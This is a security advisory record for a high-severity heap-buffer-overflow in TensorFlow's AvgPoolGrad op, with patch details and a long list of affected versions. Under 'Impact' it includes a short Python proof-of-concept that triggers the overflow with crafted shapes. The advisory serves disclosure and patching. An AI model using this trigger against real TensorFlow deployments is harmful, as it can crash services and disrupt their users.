GHSA-6hg6-5c2q-7rcr

Source

https://github.com/advisories/GHSA-6hg6-5c2q-7rcr

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/03/GHSA-6hg6-5c2q-7rcr/GHSA-6hg6-5c2q-7rcr.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-6hg6-5c2q-7rcr

Aliases

Published

2023-03-24T21:58:04Z

Modified

2023-12-06T00:47:51.385688Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator

Summary

TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Details

Impact

import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
    ksize = [1, 40, 128, 1]
    strides = [1, 128, 128, 30]
    padding = "SAME"
    data_format = "NHWC"
    orig_input_shape = [11, 9, 78, 9]
    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
    res = tf.raw_ops.AvgPoolGrad(
        ksize=ksize,
        strides=strides,
        padding=padding,
        data_format=data_format,
        orig_input_shape=orig_input_shape,
        grad=grad,
    )

Patches

We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by evn@google.com

Database specific

{
    "nvd_published_at": "2023-03-25T00:15:00Z",
    "github_reviewed_at": "2023-03-24T21:58:04Z",
    "severity": "HIGH",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-120",
        "CWE-122"
    ]
}

References

Affected packages

PyPI / tensorflow

Package

Name: tensorflow; View open source insights on deps.dev
Purl: pkg:pypi/tensorflow

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.11.1

Affected versions

0.*

0.12.0

0.12.1

1.*

1.0.0

1.0.1

1.1.0

1.2.0

1.2.1

1.3.0

1.4.0

1.4.1

1.5.0

1.5.1

1.6.0

1.7.0

1.7.1

1.8.0

1.9.0

1.10.0

1.10.1

1.11.0

1.12.0

1.12.2

1.12.3

1.13.1

1.13.2

1.14.0

1.15.0

1.15.2

1.15.3

1.15.4

1.15.5

2.*

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.1.0

2.1.1

2.1.2

2.1.3

2.1.4

2.2.0

2.2.1

2.2.2

2.2.3

2.3.0

2.3.1

2.3.2

2.3.3

2.3.4

2.4.0

2.4.1

2.4.2

2.4.3

2.4.4

2.5.0

2.5.1

2.5.2

2.5.3

2.6.0rc0

2.6.0rc1

2.6.0rc2

2.6.0

2.6.1

2.6.2

2.6.3

2.6.4

2.6.5

2.7.0rc0

2.7.0rc1

2.7.0

2.7.1

2.7.2

2.7.3

2.7.4

2.8.0rc0

2.8.0rc1

2.8.0

2.8.1

2.8.2

2.8.3

2.8.4

2.9.0rc0

2.9.0rc1

2.9.0rc2

2.9.0

2.9.1

2.9.2

2.9.3

2.10.0rc0

2.10.0rc1

2.10.0rc2

2.10.0rc3

2.10.0

2.10.1

2.11.0rc0

2.11.0rc1

2.11.0rc2

2.11.0

PyPI / tensorflow-cpu